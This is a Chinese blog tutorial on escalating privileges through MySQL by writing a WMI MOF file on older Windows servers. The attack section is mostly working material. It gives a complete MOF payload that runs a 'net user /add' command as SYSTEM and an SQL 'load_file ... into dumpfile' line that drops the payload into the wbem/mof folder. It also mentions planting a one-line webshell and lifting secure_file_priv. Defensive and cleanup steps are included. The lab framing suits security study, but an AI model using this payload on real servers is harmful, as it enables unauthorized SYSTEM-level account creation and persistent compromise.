• MySQL_MOF提权


    一、原理

    Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:

    1. 将MOF文件执行为命令行参数及Mofcomp.exe文件
    2. 使用IMofCompiler接口和$CompileFile方法
    3. 拖放到 %SystemRoot%System32WbemMOF 文件夹下的MOF文件中

    托管对象格式(MOF)文件在 C:WindowsSystem32wbemMOF 目录下,它是创建和注册提供程序、事件类别和事件的简便方法。其作用是每隔五秒就会去监控进程创建和死亡。那么只需要将恶意代码写入该文件中即可提权。

    二、前提

    mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径,所以 mof 提权仅适用于以下条件:

    1. 操作系统版本低于 win2008
    2. 数据库为 mysql<5.7 且知道登录账号密码并且允许外连

    总结来说就是当前 root 账户可以复制文件到 %SystemRoot%System32wbemMOF 目录下。

    三、提权

    3.1实验环境

    攻击机:win10  ip:192.168.34.1

    靶机:win2003  ip:192.168.34.131

    攻击机在靶机写入一句话木马,蚁剑连接。

    3.2利用方法

    先 select version(); 判断数据库版本,小于 5.7 可以利用 mof 提权。

    将以下代码保存为 test.mof 文件,修改第 17 行代码为添加一个普通用户命令。

     1 #pragma namespace("\.
    ootsubscription")
     2 instance of __EventFilter as $EventFilter
     3 {
     4 EventNamespace = "Root\Cimv2";
     5 Name  = "filtP2";
     6 Query = "Select * From __InstanceModificationEvent "
     7 "Where TargetInstance Isa "Win32_LocalTime" "
     8 "And TargetInstance.Second = 5";
     9 QueryLanguage = "WQL";
    10 };
    11 
    12 instance of ActiveScriptEventConsumer as $Consumer
    13 {
    14 Name = "consPCSV2";
    15 ScriptingEngine = "JScript";
    16 ScriptText =
    17 "var WSH = new ActiveXObject("WScript.Shell")
    WSH.run("net.exe user moftest mof.test /add")";
    18 };
    19 
    20 instance of __FilterToConsumerBinding
    21 {
    22 Consumer   = $Consumer;
    23 Filter = $EventFilter;
    24 };

    上传该文件到服务器上任意位置,再通过 mysql 语句将文件导入。

    select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof';

    执行导入命令失败,SHOW VARIABLES LIKE "secure_file_priv"; 命令查看当前 secure_file_priv。

    为了实验看一下效果,靶机 my.ini 添加一行 secure_file_priv = 代表不限制目录,重启 mysql 再执行一次导入命令。

    导入后,系统会自动运行该文件,可以再修改第 17 行代码进行添加管理员等操作。由于 mof 是由 system 执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。

    四、防范

    1. 尽量不要使用 root 账号连接数据库
    2. root 账号使用强加密方式
    3. 对 mysql 数据库目录权限严格限制
    4. 操作系统目录 C:WindowsSystem32wbem 禁止写入

    如果服务器发现被使用 mof 提权,解决循环创建用户方法:

    1. 打开 cmd 使用命令:net stop winmgmt
    2. 删除文件夹下内容 C:WindowsSystem32wbemRepository
    3. 再执行 net start winmgmt 即可

    五、总结

    这篇随笔和上一篇MySQL_UDF提权 https://www.cnblogs.com/wkzb/p/13174291.html 都是MySQL提权方式的小总结,如果有错误欢迎师傅们批评指正。

    参考:

    https://www.jianshu.com/p/6dbac868e2ab

    https://netsecurity.51cto.com/art/201610/520320.htm

    https://blog.51cto.com/z2ppp/1975985

  • 相关阅读:
    Nginx Rewrite详解
    linux下面mysql的基本命令
    通过淘宝的rubygems镜像,安装rubygems
    PHP 调用函数时,函数名称前面加@的作用
    mysql5.5中 host的值为::1
    CentOS 6.2编译安装Nginx1.2.0+MySQL5.5.25+PHP5.3.13+博客系统WordPress3.3.2
    ruby数组方法concat和push的区别
    PHP 的时间格式
    EOF与getchar
    控件台版/MFC版本的简单生日提醒软件及源码
  • 原文地址:https://www.cnblogs.com/wkzb/p/13179418.html
Copyright © 2020-2023  润新知